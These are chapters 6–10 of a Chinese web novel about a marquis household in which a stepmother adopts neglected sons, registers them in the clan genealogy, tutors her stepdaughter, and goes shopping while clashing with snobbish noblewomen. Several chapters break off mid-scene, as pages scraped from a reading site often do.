“可不是吗。”秋姨娘继续道,“等到那柳郎中回来以后,老侯爷握着郎中的手千感万谢,道他的女儿是国公府的恩人,定要重谢。” “结果呢,这个时候侯爷站了出来,说他和柳姨娘情投意合,愿娶柳姨娘进门做贵妾,来报柳姨娘的恩情。” “贵妾就不是妾了?”苏若琳嗤笑,“这事后来竟能成?” 这杨询也真是个人才,纳人家清白人家的女儿做妾,这不是报恩怕是结仇吧! 秋姨娘也笑了:“夫人您别说,这事首先老侯爷就是不同意的,哪有纳恩人做妾的道理?老侯爷原本是想着收柳姨娘做义女,接他们父女二人到京城好好招待,再 6. 提份例 《侯府大小姐竟是男扮女装?》全本免费阅读 话落间,杨纨枫和杨纨岚已然被丫鬟领到了前厅。 “见过母亲。” 巧织姐姐已经告诉过他们了,他们如今被记在了夫人的名下,往后夫人就是他们的母亲。 昨晚苏若琳临时从碧月轩伺候的一等丫鬟里边挑了个聪明的,去伺候两兄弟,便是领着两兄弟进来的这个,名为巧织。 杨纨枫和杨纨岚脸上的神情比起昨天少了许多迷茫,却是添了几分惶恐,他们似乎是终于回味过来自己不再是侯府最底层的下人,而是一跃成为了高高在上的嫡少爷。 两兄弟穿得还是昨日那身衣服,新衣服还没有做好,只是两身衣服明显被裁改过,比起昨晚小了许多,穿在两人身上也得体了许多。 想来是巧织连夜赶工,也因此耽误到这个时辰才来问安。 两兄弟经过丫鬟婆子们来到苏若琳面前,芷若闻到两人衣服上细微的气味,皱了一下眉头。 这眉头皱得转瞬即逝,但却被苏若琳敏锐地发现。 苏若琳揉了揉两兄弟的头:“阿枫和阿岚来了啊,昨晚睡得可还好?” 杨纨岚比起哥哥杨纨枫要有灵性的许多,大抵是感受到了苏若琳的善意,昨晚只敢躲在哥哥身后的他主动走上前向苏若琳示好:“昨晚睡得屋子太暖和了,炭烧了一夜也没有灭,到醒来没觉得冷,比起从前的屋子好太多了,早饭也特别好吃,谢谢母亲。” “那屋子叫腾云阁。”杨纨枫拽了拽弟弟的袖子,小声纠正道,来的一路上他生怕两人规矩出错,因此会遭母亲不喜。 随后他也感激地看着苏若琳,精致的小脸蛋上甚至带着一丝讨好:“谢谢母亲认回我和弟弟。” “傻孩子。” 两个瓷娃娃一样的小人仰头看着苏若琳,眼中充满了对未来生活的期待,苏若琳的母爱止不住地泛滥。 “这是你们应得的,昨晚只是太匆忙才让你们将就睡在一个屋里,我们侯府的少爷每个人都要有自己的院子和下人的。” “瞧见这些丫鬟婆子了吗?”苏若琳指着那些人,“这些就是买来日后伺候你们兄弟俩的。” 两兄弟看了人群一眼,此时机灵的已经露出了或讨好或善意的笑容。 然而两兄弟却身体一僵抱住,杨纨岚恳求地看着苏若琳:“母亲......我必须要和哥哥分开吗?” “嗯?”苏若琳不解他们的反应,捏了捏他的小鼻子,耐心地解释道,“不是分开,只是晚上不在一起睡,你们白天还是能在一起的。” “可是......”杨纨岚的声音越来越小,最后似是放弃了挣扎。 杨纨枫也上前一步,伸出手紧紧握住弟弟的手:“母亲,我和弟弟想要住在一个院子里,可以吗?” 苏若琳看向杨纨枫,后者目光里带着一丝紧张和害怕,却充满了恳求。 一瞬间,她的心中警铃大作。 他们还是很害怕吧,从前他们的记忆仅限于那间阴暗逼仄的柴房,如今突然迈入一片广阔的天地,心中肯定很恐惧。 也许在他们眼里,彼此就是对方的安全感,自己这样生生将他们分开,肯定会让他们更加害怕。 然而他们又很胆怯,生怕如果忤逆了自己的意思,会惹自己不高兴,然后他们如今的美好就会变为泡影,又会回到从前那个阴暗寒冷的柴房。 她低头看着两兄弟,那两双漂亮的眼睛里都被恐惧和乞求填满。 苏若琳深呼吸,让自己尽可能地温柔和善:“舍不得对方啊?” “嗯嗯。”杨纨岚使劲点头,杨纨枫害羞地低下头。 这么美好的两个孩子,自己怎么忍心剥夺他们的愿望? “那好,就依你们,原本我还在头疼要再挑哪座轩子好一些,既然你们想住在一起,那你们就一起住在腾云轩吧,左右腾云轩也大。” 况且住在哪里也不过一桩小事,等到他们长大了,熟悉了侯府少爷的身份,会自己想要属于自己的空间的。 两兄弟都松了一口气,朝着苏若琳笑了:“谢谢母亲。” 苏若琳又各捏了一把两兄弟的脸蛋,牵起两兄弟的手走到丫鬟婆子们面前,介绍道。 “我左手边这位是二少爷,名杨纨枫,右手边这位是三少爷,名杨纨岚,既然两位少爷要一起在腾云轩住,那你们也不必分开了,就一起伺候就行。” 她又点了最前排几个看着机灵的丫鬟:“你们五个,从今往后就贴身伺候两位少爷,可有不愿意的?” 被点名的五个丫鬟既激动又惶恐:“回夫人,愿意的。” 苏若琳点头,招手让芷若和巧织过来:“你们两个以后便是腾云轩的大丫鬟。” 此言一出,两人皆是受宠若惊:“谢夫人!” “那就这么定了。”定完丫鬟的等次,苏若琳又让绿俏回内室把她整理好的名单拿出来,递给刘管事,“咱们府上小厮多,匀一些派到腾云轩就够了,这是我点的人,第一页是贴身仆从。” 刘管事接过单子偷偷瞟了一眼,第一页第一个就是他儿子,顿时感激涕零,给嫡少爷做贴身仆从,这可是个大肥差啊:“小的谢过夫人!” 苏若琳理所应当地受了这一礼,虽说整个侯府都被她拿捏着,但是适当地收买人心何乐而不为呢? “你这就带人们下去吧,给她们把差事都分配好,腾云轩也有几年没人住过了,昨晚只是简单打扫了一番,要重新收拾可有的忙呢。” “不过,芷若先留下。”苏若琳又吩咐道,然后看向两兄弟,“你们两个呢?还有什么事吗?” 杨纨岚试探地牵起苏若琳的手,见苏若琳没有拒绝,双眼亮晶晶的:“母亲,以后我和哥哥就是您的儿子了对吗?” “当然。”苏若琳挨个揉了揉两兄弟的头。 被宠溺地抚摸脑袋,两兄弟很高兴,说不出是因为母亲的喜爱,还是因为母亲的喜爱而确保了以后美好的生活不会消失。 “那我们以后被其他下人们欺负,母亲可以给我们做主吗?”杨纨岚顺杆往上爬,又试探道。 偌大的侯府,有心地善良愿意帮助两兄弟的善仆,自然也有落井下石的恶仆。 “当然。”苏若琳蹲下身和他们平视,一字一顿地教育他们,“阿枫,阿岚,你们两个记住,你们以后是侯府的嫡少爷,没有人能无缘无故地欺负你们,罚你们,包括我。” “无论是从前的那些下人,还是新来的这一批,都是奴,你们是主子,你们说一他们不敢说二,若是以后再遇到欺负你们的,不要害怕,直接罚他们,怎么罚都可以。” “那他们以后都要听我们的,不听话的就可以罚吗?”杨纨岚眼睛中透着一丝兴奋,又带着一丝迷茫。 杨纨枫拉了拉弟弟的袖子,让弟弟不要再问,自己则点头道:“儿子知道了。” 苏若琳深深地看着这一幕,心情五味杂陈,杨纨枫作为哥哥,这些年来想必处处在保护弟弟,因此才心思敏感,聪慧早熟。 可两人本是差不多的年纪,他也是个孩子啊,何苦变得这样呢? “是的,他们都是下人,都要听你们的,不过你们可以罚下人,也可以赏下人,但是一定不要被下人拿捏,还有不要没有缘由的随意打骂下人,他们也都是人,同我们无异,有好有坏。” 苏若琳捏了捏杨纨岚的脸蛋:“你呀,以后要多听你兄长的话,阿枫比你知道的多,遇到不懂的地方也多问问兄长。” 说完又牵起阿枫的手:“我知你聪慧懂事,这些年来一直保护着弟弟,只是你也是个孩子,日后再遇到事情,不要光想着自己承担,要记得来找大人,如果有什么不会的问题,也都来问我。” 杨纨岚眼中的茫然还未消散,杨纨枫眼底已经变得湿润,用力点头:“知道了 7. 上族谱 《侯府大小姐竟是男扮女装?》全本免费阅读 就给两兄弟上族谱一事,杨询办事是快的,主要是他也没差事,早些年可能爱去青楼逛逛,如今也不去了,一天到头没什么事干,第二日,族老便被请了过来,开祠堂,上族谱。 新衣服也已经连夜赶制了出来,兄弟俩穿着崭新得体的锦缎跪在蒲团上,上了香,正式记在了继室苏氏,也就是苏若琳的名下。 由于上族谱是大事,在道观清修的老夫人也被接了过来,杨婉玉也被放出来半天。 两兄弟当着族老们的面,先是喊了老夫人一声“祖母”,再是来到杨询和苏若琳跟前喊了“爹、娘”,最后是认齐兄弟姐妹。 老夫人年过五旬依旧精神十足,灰白的头发一丝不苟地梳在脑后,慈爱地摸着两兄弟的头:“好啊,好啊,祖母也就欣慰了,你俩如今是有福气的,要好好孝敬爹娘。” 说完给了两个大红包,也别管是真欣慰还是假欣慰。 杨询和苏若琳夫妻一体,给一个红包就够了,苏若琳自是不吝惜这点银子,给两兄弟一人包了一个沉甸甸的红包。 到了兄弟姐妹这里自是不用给红包的,互相喊一声认识一下就够了,杨婉枝虽然长在庄子里,面对这么多长辈竟也知礼,进退有度,很有长姐风范。 苏若琳很欣慰,进祠堂前她只是紧急教了杨婉枝几下规矩,指望着不要出丑,竟没想到这孩子学得这么好。 杨纨玦自不必说,从小以侯府的长子教导的,端庄守礼。 只是到了杨婉玉这,也是从小被娇惯坏了,两兄弟喊了声“二姐”,杨婉玉偏过头“哼”了一声,也不去看两人。 场面一下子尴尬了起来,站在人群后的柳姨娘恨铁不成钢,秋姨娘捂着嘴偷笑。 “杨婉玉!”杨询瞪了她一眼,吓得后者直接老实了。 “两,两位弟弟好。” 上完族谱过后,族老们在府上吃了顿饭,便被送了回去。 老夫人上马车前嘱咐苏若琳道:“我知道你这丫头是个聪明的,看你嫁进来后府里越来越好,我也就放心了,如今也收了两个儿子,往后尽心操持侯府,这偌大的侯府以后都是你的。” 苏若琳心道你这个侯府我嫁进来之前四面漏风,谁稀罕啊,但是表面上还是恭顺地把老夫人送走了。 回去碧月轩的路上,杨婉枝跟在苏若琳身后,也不敢出声,就这么小心翼翼地跟在后边。 看到苏若琳想笑:“干什么呢?” 杨婉枝猝不及防前边人突然转身,险些撞到苏若琳的身上。 两人一高一矮,恰如她们的身份,十八岁和十三岁,不过差了五岁,若是在子嗣繁多的大家族里,应当是姐妹的,可如今却差了一个辈分。 杨婉枝收起思绪,小声道:“这个时辰,原本该找母亲学东西的。” “是这样啊。”苏若琳恍然大悟道,“那你怎么不上前边来,老跟在我后边?” “我,我。”杨婉枝涨红了脸,她没有勇气,不是胆子小,只是,只是不好意思。 她觉得母亲的背影很美,很温柔。 “好了好了。”苏若琳揉了揉她的脑袋,“近些天过得如何,你平时在自己的院子里都做些什么,都同我说说吧。” 这一只温暖的手仿佛给予了她勇气,她用力点头,两个一高一矮的身影顺着这条小路越走越远。 到了碧月轩,两人暖过身子,苏若琳便拿出了昨日准备的字帖,琴棋书画旁的三样都可有可无,唯独一手好字,至关重要。 她前世除了下棋也都是样样精通的,真要和那些高门小姐们比起来肯定是不行,但是教一个新手绰绰有余了。 “说起来,婉枝你可识字?”苏若琳问道,杨婉枝从小在庄子里长大,不会识字倒也正常,只是未免太可怜了。 然而杨婉枝却点头。 苏若琳有些惊讶:“在哪里学的?” 杨婉枝道:“青夭姐姐教的。” 今日青夭身体有些不舒服,因此跟着杨婉枝出来的是彩衣,苏若琳不禁对青夭起了几分疑惑,听说过小姐教丫鬟识字,倒是没听说过的丫鬟教小姐识字的。 那青夭看起来至多跟自己一般大,从小跟杨婉枝一起生活的,她在哪学的识字? “母亲?”杨婉枝弱弱地喊了一声。 苏若琳收回心思,努力微笑:“方才一时失神,既然识字那就好办多了,你先写几个字来我看看。” 绿俏在一旁磨墨,杨婉枝提起毛笔蘸了墨汁,却又不知道如何下笔:“要写什么字?” 苏若琳稍加思索:“那便写‘婉、枝’二字吧。” 一般人写的最好看的便是自己的名字,因为写得次数最多,苏若琳料想着杨婉枝写自己的名字应该再难看也不会难看到哪去,然而当杨婉枝写好后,苏若琳着实是惊呆了。 这两个字,端庄大气,苍劲有力,苏若琳原本想着教她簪花小楷,雅致漂亮,可她这字竟透露出一股爷们般的风骨和刚毅。 “你会书法?”苏若琳是真的惊奇了。 杨婉枝注意到了苏若琳眼中的惊艳,如同一个被夸奖的小孩子般害羞地低下头:“也是青夭姐姐教的。” 这下苏若琳眼里的惊艳变成诧异了,这青夭到底是什么人?杨询的原配虽是个国公府的嫡小姐,但也不可能养着一个普普通通的小丫鬟去学书法啊。 “青夭可还教了你其他的东西吗?” 杨婉枝皱眉思索了一番,而后摇头:“没有了。” 该查一查了,这青夭的来头。 苏若琳恢复神色,依旧笑着道:“婉枝的字非常漂亮,看来是不用我教了。” 然而杨婉枝一听苏若琳不教她东西了,却是明显地慌了:“那,还有其他的东西可以教,母亲昨天说的琴棋书画,看账管家,除了书法我都不会。” 如果说杨纨枫和杨纨岚两兄弟害怕被苏若琳不喜,难道杨婉枝不是如此吗?她也是从小生活在阴暗寒冷的地方,因为苏若琳才获得了如今的一切。 “好好好,这么好学啊。”杨婉枝这一慌倒是吹散了苏若琳心中的那一丝凝重,“今个本来是只准备教你书法的,其他的我也没准备。” “这样吧。”苏若琳吩咐红烛,“你带着两个家仆把我的玉琴搬过来,仔细看着些,别让他们碰坏了。” 那玉琴也是苏若琳的嫁妆,苏家对于这个嫡长女也是真心疼爱教养的,原身用的器物家具,桩桩件件都是大手笔。 不一会下人们就把玉琴搬来了,苏若琳前世见过不少名贵乐器,一眼就看出来这玉琴真是个好东西,杨婉枝挨在苏若琳身边,瞪着灵动的眼睛很是惊奇的看着玉琴。 “知道《长相思》吗?”苏若琳扭头问她。 杨婉枝摇头。 “红满枝,绿满枝,宿雨恹恹睡起迟,闲庭花影移。”苏若琳念着词,手落在了琴弦上,悠悠地拨动着,“忆归期,数归期,梦见虽多相见稀,相逢知几时。” 婉转的唱调随着阵阵曲声悠扬开来,也激荡着杨婉枝的内心, 8. 报官 《侯府大小姐竟是男扮女装?》全本免费阅读 杨婉枝刚来到院子里,便见到母亲走了出来,身后还跟着秋姨娘和杨婉莹,登时有些诧异,又有些怯场。 直到现在,除了自己院里的丫鬟们,她也只敢在母亲的面前才能放下紧张。 姨娘是半个主子,可也是半个奴,秋姨娘见到杨婉枝也是要行礼的,更何况她也清楚,大小姐如今也是被夫人罩着的。 “妾身见过大小姐,来,婉莹,向长姐问安。” 杨婉莹却跑过去,一把抱住了杨婉枝的腰:“大姐姐好。” 突然被抱住,杨婉枝并不反感,甚至有些受宠若惊:“三妹妹好。” 秋姨娘捂着嘴乐:“大小姐,看来婉莹很喜欢你呢。” 按照规矩,苏若琳和嫡出的杨婉枝都有一辆自己的马车,但是秋姨娘和庶出的杨婉莹是没有的,苏若琳道:“秋姨娘和婉莹就坐我的马车吧。” 闻言,杨婉枝心里顿时有些不安,她们......要让自己单独坐一辆马车吗? 尽管知道母亲并非故意孤立她,可她仍旧下意识地害怕自己被抛弃,她拉了拉苏若琳的袖子,小心翼翼道:“母亲,你们三人坐一辆马车太挤了,让女儿和您坐一辆,秋姨娘和三妹妹坐我的马车,可以吗?” 她同秋姨娘母女并不熟,并不习惯和她们独自接触,想来想去,也只有自己和母亲做一辆马车,秋姨娘母女坐另一辆了。 秋姨娘倒是受宠若惊,从前没有多觉得,如今再看大小姐虽然身材瘦弱,但却更显得一股林黛玉似的美,尤其是那双眼含秋波的眼眸,真真是继承了先夫人的美。 而且还这般大方,有气度,极有大家风范,竟不像是从庄子里出来的,大小姐如今变化这么大了么? 苏若琳这才注意到了杨婉枝的不安,看来多带她出来走走是对的。 “你愿意让出马车自然是好的,那我们上车吧。” 京城的道路自然修缮得极好,坐在马车里丝毫不觉得颠簸,苏若琳盘算着待会要买的东西:“待会做衣服和挑首饰的时候,你不要不好意思,看到什么布料和首饰都跟我说,母亲不差这点钱。” 杨婉枝已经觉得如今的生活很满足,可她不想拒绝母亲:“嗯!” 苏若琳又牵起杨婉枝的手,仔细端详着:“可有每日抹膏子吧?瞧瞧这才几天,就好多了。” 此时再看杨婉枝的手,开裂的口子变小了许多,相信要不了多久就会愈合,还有冻疮也没有发黑的地方了。 杨婉枝的手正在伤口愈合期,被苏若琳摸着痒痒的,心也发痒:“每日都有抹的,母亲的膏子很好用。” 苏若琳抬头看着杨婉枝害羞的脸,突然发现,这才几日,怎么感觉她长高了几分? “你今早穿裙子的时候有没有感觉短了?” 杨婉枝一愣,略微思索:“似乎,是短了点,从前的裙子都要往上提才能不落地,今天穿的时候不用往上提了。” “说明婉枝长高了呀。”苏若琳宠溺地摸了摸她的头,“你本来长得就比同龄人矮,如今吃得好了,也该长个子了,也多长点肉。” “长高......?”杨婉枝有些茫然。 “对,长高。”苏若琳轻笑,“你看看你的二妹妹杨婉玉,比你小三岁,却比你还要高一点,你是姐姐,应当长得要比她高一些才对。” “若是你能长的高一些,身上的肉多一些,也不会太容易被她欺负。” “我明白了。”杨婉枝点头,她自回到侯府以后就一直被杨婉玉欺负,她要努力长高,就能保护自己。 这时,马车外响起了叫卖声。 杨婉枝下意识扭过头想要掀开帘子去看,却硬生生地止住了,年前坐马车回侯府的时候,老嬷嬷教导过,这样不合礼仪。 苏若琳注意到了她的渴望,轻笑:“想看就掀开帘子看。” 被看穿想法,杨婉枝涨红了脸:“这样不会不合礼仪吗?” 有没有不合礼仪苏若琳也不知道,但是这个年代女子都能出门逛街了,掀开马车帘子怎么了? “哪有那么多规矩,你想看便看罢,出了问题我兜着。” 听到母亲那句“出了问题我兜着”,杨婉枝顿时觉得心里暖暖的,从小到大,身边所有人都教导她要小心翼翼,不要给别人带来麻烦。 从来没有人教她要大胆地做自己想做的。 杨婉枝掀开帘子探出头,只见外面宽阔的大街上行人络绎不绝,偶尔也会有几辆气派的马车,道路旁的房子鳞次栉比,是她从未见过的景象。 她惊奇道:“这里就是大街上吗?” 苏若琳轻笑:“这才到哪呢,我们要去的是昌华大街,京城最热闹的街道,比这繁华的多。” 杨婉枝心里充满了期待。 在马车的时光快乐而又短暂,至少对杨婉枝来说,大街上的景象看得她越来越兴奋,直到她看到路上立着一个只有门框、没有门板的大门,门栏上横着一块巨大的牌面,上面写着: 昌华大街 几人下了马车,车夫驾车拐了个弯,去停马车了。 昌华大街是京城最热闹的大街,无数的商店铺子在此聚集,而在大街最热闹的街口,赫然是京城最大的酒楼——饕餮楼。 苏若琳四人走进离街口最近的一家卖首饰的铺子,这铺子一看装潢便知造价不菲,里边摆放的饰品更是名贵,秋姨娘瞪直了眼睛,她已经许多年来别说买过,见都没见过这样贵的首饰了。 苏若琳对她道:“你带着婉莹去挑挑吧,给自己和婉莹都挑一个喜欢的,我付账。” “谢夫人!”秋姨娘乐开了花,如果说她先前还会觉得有点不甘心,那现在这最后一丝不甘也烟消云散了,这样好的首饰,等日后她都可以留给婉莹做嫁妆的,这真是实实在在拿到手里的好处啊! 秋姨娘当即喊了小二,让他把这店里的贵首饰挨个介绍一遍。 苏若琳看向杨婉枝:“你有什么喜欢的?” 杨婉枝被琳琅满目的碧玉翠珠闪的眼花,觉得哪一个都好,但又说不出来哪一个更好。 这时,不远处传来了吵架声:“这簪子就是你撞下来的,我压根没有碰它!” 而秋姨娘的脸色难看得很:“我是这簪子掉下来之后再走到桌角的,分明就是你碰下来的!” 两人的吵架声逐渐引起了所有人的注意,不一会掌柜就来了。 “二位夫人先消消气,请问发生了什么事?” 苏若琳站在人群里打量着和秋姨娘吵架的女人,约莫三十岁左右,这个夫人身上穿着的衣服首饰虽然贵重,但都是几年前的款式了,想必是哪家落魄的贵族。 那夫人指着秋姨娘道:“方才这个女人走到桌角,把这枚簪子撞倒了,还不承认。” “你休要血口喷人!”秋姨娘眼睛冒火,“方才分明是你把簪子碰下来的!” 掌柜忙先安慰两人:“二位夫人稍安勿躁,万事不要伤了和气,有其他哪位看到这簪子是谁碰倒的吗?” 这时,方才被秋姨娘叫走的小二上前:“掌柜的,小的看到的,确实是刘夫人把簪子撞倒的。” 刘夫人喝道:“瞎了你的眼,你知不知道我是你们店好几年的大主顾了,我要是撞坏了你们店的簪子我能不敢认?” 说着她看向秋姨娘:“我看你身上穿的戴的比起这家店可是差了一个档次,定是你赔不起这家店的首饰,你是不是给这个小二偷偷塞钱了,才来诬陷我!” “你这人忒不讲道理!”秋姨娘何时受过这样的栽赃,只是她也不是吃素的,“张嘴就诬陷了两个人,这家店的大雇主又如何,说话得有证据,那你可有证据?我现在可是有人证的!” 刘夫人看向掌柜:“掌柜,你是知道我的,我堂堂清河伯夫人在你们店里花过多少银子,算出来都能买你半家店铺了,这个女人呢?身上穿的这都是什么料子,说不定就是个妾呢!” “妾怎么了?”秋姨娘道,“你要真想用身份压人,我就算是妾那也是侯爵的妾,可还比你这伯爵高一等!” 秋姨娘不敢搬出安定侯的名号,第一次跟着主母出门就遇到这种事,若是连累了安定侯府,哪怕 9. 逛街 《侯府大小姐竟是男扮女装?》全本免费阅读 秋姨娘接过簪子,乐得合不拢嘴:“妾身谢过夫人!” 莫说夫人竟完全站在她这边,还为她撑腰,已然把她感动得不行;这簪子虽然是几年前的款式,对她而言,已是名贵得不得了。 秋姨娘越发觉得投靠夫人真是做了个正确的决定。 几人又在铺子里逛了会,苏若琳给杨婉枝添了十几件首饰,吓得她连忙摆手:“谢谢母亲的好意,但这,这也太多了!” 苏若琳把其中几支簪子插到她的头发里,满意地点头:“你是侯府的嫡小姐,这才几件首饰,待会还要添呢。” 秋姨娘将新到手的三件首饰小心地放到盒子里,乖乖,这三件首饰可比她从前的首饰加起来还贵呢。 街边还有无数的小吃摊子,苏若琳在这方面一向不亏待自己,也不亏带孩子,杨婉莹的小脸快乐出花来了,直呼着以后还要跟着母亲出来玩。 杨婉枝从来没有吃过这样的小吃,从前连吃饱都成问题,也才是近几日才吃得好,更不要提外面这些稀奇古怪的零嘴。 苏若琳每样都买了许多,她们吃不完的就交给身后的丫鬟提着。 “这糖糕不错,你也尝尝。”苏若琳指了指绿俏拎着的袋子,“等回府你每样都给阿枫和阿兰送份过去,剩下的你们几个分了。” 这“你们几个”指的当然是贴身伺候苏若琳的丫鬟们,绿俏从袋子里拿出一块糖糕,咬了一口,眼睛亮了,真的好吃! 苏若琳又看向小心喂杨婉莹吃零嘴的秋姨娘,看着女儿开心她也高兴:“慢点吃,别噎着,吃不完的咱们回去慢慢吃。” 这时小贩将做好的糖画递给苏若琳,她转手递给秋姨娘:“你也尝尝。” “我?”秋姨娘指着自己,摆手,“糖画是给小孩子吃的,妾身都是当娘的人了,吃糖画会闹笑话的。” 从这一路苏若琳就看出来了,秋姨娘是喜欢吃甜的,每次看到甜食都眼睛发亮,只是碍于面子吃得很少。 “哪有那么多规矩,孩子吃的大人就不能吃了?” 秋姨娘犹豫地接过糖画:“这,夫人不会笑话妾身吧?” “怎么会?”苏若琳又从小贩手里接过糖画,“孩子们的早就好了,这两个专门给咱俩买的,莫说是当娘了,就算是当了奶奶我也爱吃。” 说着苏若琳就咬了一口糖画,这糖画的味道并非是单纯的甜味,还有水果的甜,也不知这小贩怎么做的。 秋姨娘也咬了一口,真的,很好吃! 她又警惕地望着四周,见没人看她,更没人笑她,这才放心地吃起了糖画。 又想起刚才夫人说的话,边吃边感叹,夫人当真是个妙人啊。 几人路过一间专卖文房四宝的铺子,秋姨娘看向苏若琳:“夫人,咱们去看看?妾身想给纨玦看看,在这二少爷和三少爷也到了该读书的年纪了,夫人也给两位少爷买点笔砚纸墨回去?” 苏若琳也正有此意:“那便进去看看吧。” 进了铺子,秋姨娘一眼就被正前方的笔砚吸引住了:“掌柜的,这套笔砚放这么前面,有什么好的?” 掌柜一眼就看出来这四位衣着不凡,尤其是问话的夫人身后那位年轻一点的,这一身段云锦可不是有钱就能买的,定然是哪位高门贵妇。 当即热切地向秋姨娘介绍:“夫人这就有所不知了,夫人你看看这支笔,这笔毫用的可是雪山白兔的毛,珍贵无比,再来看看这砚台,你来摸一摸,这玉有多好您定然是知晓的。” 秋姨娘摸了摸这块玉:“这么暖的玉!” “自然,这暖玉放在冰天雪地里也不受冻,丹青放在上面,很快便能化开,研磨也顺畅十足,这可都是硬通货啊!” 秋姨娘当即便心动了,只是也不好意思让夫人给自己儿子花钱,狠了狠心掏出自己攒了许久地私房钱:“给我包起来吧!” “诶,好!” 这时,苏若琳也来到掌柜面前:“掌柜的,我家孩子刚开蒙,有没有适合新手用的笔墨?” “有有有。”掌柜当即给她推荐了几样,“再有就是这两本字帖,乃是当朝太师张辅之先生的书法印本,这两本本就是张先生为孙子开蒙专门创作,最是适合!” 苏若琳点头:“包起来吧。” “另外,我观你这店墙角竟然挂着幅《春叹》,只是怎么挂在角落里?来往顾客看不见,岂不可惜?” 掌柜大惊,这位夫人竟是识货的! “夫人有所不知啊。”掌柜叹了口气,“去年珍宝阁拍卖了一幅大作,也是《春叹》,被王权贵族竞相争抢,卖出了十万两。” “十万两?!”秋姨娘大惊,这些钱够她富贵一辈子了! “等等,那副《春叹》被卖出去了,那你这副岂不是假的?” “不,这副才是真的。”苏若琳一眼笃定。 “那珍宝阁卖的是假的?”秋姨娘更是惊讶,“连珍宝阁都认不出来真假,那造假的人也太厉害了!” 苏若琳轻轻摇头,未必如此,也许,这两幅都是真的。 “我能摸一摸这幅画吗?” 掌柜叹了口气:“无论珍宝阁卖出去的是真是假,都得被说成是真的,而我这副《春叹》本是镇店之宝,一时间竟被打上了赝品的烙印。” “您放心地摸吧,左右也是赝品。” 苏若琳轻轻地摸了摸那副画,果然特别薄。 古代画师作画为了保证画作不轻易损坏,用纸都偏厚,后人为了谋利,便用极灵巧的切割方法把一幅画的纸从中间割开,割成两份,这样两份都是真迹,都能卖出极高的价钱。 苏若琳对掌柜轻笑:“那如此看来,这幅画在掌柜手上便是烫手山芋了,不如卖给我如何?” 掌柜很是惊异:“夫人您也相信这幅画是真迹?” 苏若琳点头。 掌柜险些感动得落泪:“您能认可这幅画,便是认可了家父,这幅画乃是家父早年的藏品,后来家道中落,变卖了许多珍藏,唯有这幅画实在太过喜爱,不舍得卖出去,没想到如今却被人嘲为赝品,连带着家父的声誉受损。” “现在您能认这幅画,家父在天之灵想必也能欣慰几分。” 两人当即拍板,以五千两银子卖给了苏若琳,掌柜小心地把画包好,亲自送几人出门。 秋姨娘嘀咕道:“既然是赝品,还好意思卖这么贵。” 苏若琳轻笑:“我记得,纨玦的先生师从当朝大儒?” “对。”秋姨娘道,“刘珂先生师从大儒陆恒之 10. 霓裳阁 《侯府大小姐竟是男扮女装?》全本免费阅读 方才她们在锦鲤铺和清河伯夫人发生了争执,定然被不少人看了热闹。 苏若琳自觉没什么丢脸的,丢脸的是那个刘夫人。 “正是,贵夫人是?” “我是庆国公府的世子夫人,也是安国公府的大小姐。”周夫人露出了一个意味不明的笑容,“我以前从未在二楼见过安定侯夫人,说起来安定侯夫人出身商户,想必适应贵族的生活也不容易吧。” 这话语中已然充满了鄙夷。 苏若琳嫁进侯府来做苏家步入名流的桥梁,自然也不只是嫁进来就完事了,她还要主动进入京都名贵的圈子,去和那些贵妇人打交道、交朋友。 原身刚嫁进来那会也不是没试过,开茶会、递拜帖,那些伯爵以下的小贵族和四五品官员夫人倒是来了一些,可是那些譬如国公府这样的高门压根不愿意搭理自己。 那些高门贵妇一起聚会也从来不带她玩,时间久了,原身也就不自讨没趣了。 而现在这个周夫人显然就是瞧不起她的出身。 苏若琳也不气恼,笑意盈盈道:“周夫人想来也是我们锦鲤铺的常客了,若是觉得我们锦鲤铺子小家子气,入不了夫人的眼,那我在这给您道歉。” 她说着就看向周夫人头顶的发簪,锦鲤铺是她嫁妆里最大的一间店面,也一直是京城首饰的潮流风向标,这周夫人要是瞧不起她,有点骨气的话也别用她店里的东西。 周夫人眼里有了几分不悦:“我能买锦鲤铺的首饰那是垂青,我在京都圈子里交好的夫人那么多,苏夫人说话可要客气些,惹恼了一个大主顾,那就相当于惹恼了所有的大主顾。” “罢了罢了,狗咬我一口我还能咬回去不成。”苏若琳真心瞧不上这种人,也懒得和她斗嘴,拉着杨婉枝就要去别处看看。 “站住!”周夫人恼了,“你说谁是狗?” 这老板娘原本也是抱着看热闹的心态在边上旁观,如今一看事态不对,连忙上来劝解:“周夫人您别动怒,您出门最重仪态,别因此失了风度。” 正在这时,不远处又传来一道声音:“你们在这做什么呢?” 那原本愠怒的周夫人当即变了脸色,笑意盈盈地对来者道:“郡主难得出府一次,这霓裳阁的料子可新奇?” 被称作郡主的女人点头:“确实有意思,尤其是楼下的流光绸缎,虽然摸着明显不如皇家的料子舒服,但胜在样式有意思。” 而后又看向还未走开的苏若琳:“这位是?” 苏若琳屈身行礼:“臣妇安定侯夫人苏氏见过郡主,臣妇身旁的乃是侯府大小姐,名杨婉枝。” 杨婉枝也连忙跟着行礼:“见过郡主。” 郡主看着杨婉枝沉默不语,微微有些晃神。 苏若琳也在思考,这是哪个郡主?当朝乃先帝打的天下,先帝早年征战沙场,子女不多,只有两个从小和他一起打仗的儿子,便是当今和宁安王。 据说宁安王子女命薄,尤其克儿子,生一个死一个,唯有一个女儿活了下来,算算年岁,也只有宁安王的女儿安康郡主能和面前的夫人对得上号。 安康安康,可见有多希望这个女儿能活得好好的。 周夫人见安康郡主久久不语,还以为是对这对母女不满,当即帮腔道:“大胆,郡主没让你们起身,你们怎么敢起来的?” 安康郡主毕竟是皇亲贵胄,把身份一摊就容易令贵族平民们敬畏,杨婉枝本来胆子也没被养大多少,此时周夫人这么一呵,吓得杨婉枝往苏若琳身后退了半步。 周夫人还想再逞威,安康郡主连忙制止了她,用和善的语气对杨婉枝道:“你......叫杨婉枝对吧,过来我看看你。” 杨婉枝看向苏若琳,后者对她点头,她这才敢走到安康郡主跟前。 安康郡主伸出手抚摸着杨婉枝的脸,眼角竟有些泛红:“像,太像了。” “你同你娘生得极像。” 杨婉枝诧异道:“我娘?” “是啊,你的生母,吴国公府的嫡二小姐。”安康郡主道,“你娘生前同我交好,好孩子,你如今......十三岁了吧?” 安康郡主突得比量了一下杨婉枝的身高:“怎么长得这么矮?” 杨婉枝小声道:“回郡主,我会长高的。” “好呀,你还是个孩子,再过几年还会长得。”安康郡主没有起疑,牵起杨婉枝的手,只是这一牵,便是察觉到了不对。 哪怕是小贵族家女儿的手也没有这么糙的,瞧瞧这一手的冻疮,还有龟裂的口子,这孩子这些年来过的是什么日子?! “苏氏!”安康郡主呵斥道,看向苏若琳的双眼冒火。 